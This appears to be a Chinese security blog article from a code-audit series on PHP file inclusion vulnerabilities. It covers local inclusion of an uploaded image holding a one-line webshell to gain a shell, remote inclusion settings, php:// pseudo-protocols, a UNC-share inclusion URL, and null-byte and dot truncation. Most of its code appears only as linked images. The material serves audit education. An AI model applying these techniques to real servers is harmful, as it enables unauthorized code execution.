0x00前言:
作者:HackBraid,乌云核心白帽子。 文件包含漏洞也是一种非常常见的漏洞类型,产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的,主要分为危险函数、本地文件包含、远程文件包含和截断技巧四方面展开。0x01危险函数:
include()include_once()require()require_once()0x02文件包含漏洞的脑图:
![fileinclude](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude.png)
0x03 本地文件包含 :
本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下:![fileincludeyuan](http://139.129.97.131/wp-content/uploads/2016/07/fileincludeyuan.png)
![fileinclude2](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude2.jpg)
![fileincludeyuan1](http://139.129.97.131/wp-content/uploads/2016/07/fileincludeyuan1.png)
![fileinclude1](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude1.jpg)
0x04 远程文件包含 :
1.普通远程文件包含 条件:allow_url_include=on(默认off)、allow_url_fopen=on缺陷代码:![fileincludeyuan2](http://139.129.97.131/wp-content/uploads/2016/07/fileincludeyuan2.png)
![fileinclude1](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude1.png)
![fileincludeyuan3](http://139.129.97.131/wp-content/uploads/2016/07/fileincludeyuan3.png)
伪协议php://input和php://filter包含测试发现可以继续愉快的包含了
![fileinclude2](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude2.png)
这种情况是你可以传到文件到内网某台服务器192.168.1.102,假如这台服务器是ftp是开了共享的就可以通过下面方法进行包含:
http://localhost/fileinclude.php?action=\\192.168.1.102\share\test.txt
0x05 截断技巧 :
1.PHP%00截断截断条件:①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)
②magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0
搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:
![fileincludeyuan4](http://139.129.97.131/wp-content/uploads/2016/07/fileincludeyuan4.png)
![fileinclude3](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude3.png)
Windows240个.或者./可以截断
测试240个点截断成功如下图:
![fileinclude4](http://139.129.97.131/wp-content/uploads/2016/07/fileinclude4.png)
原创文章,转载请注明: 转载自安兔|anntoo.com 互联网安全新媒体平台
本文链接地址: 代码审计的艺术系列-第九篇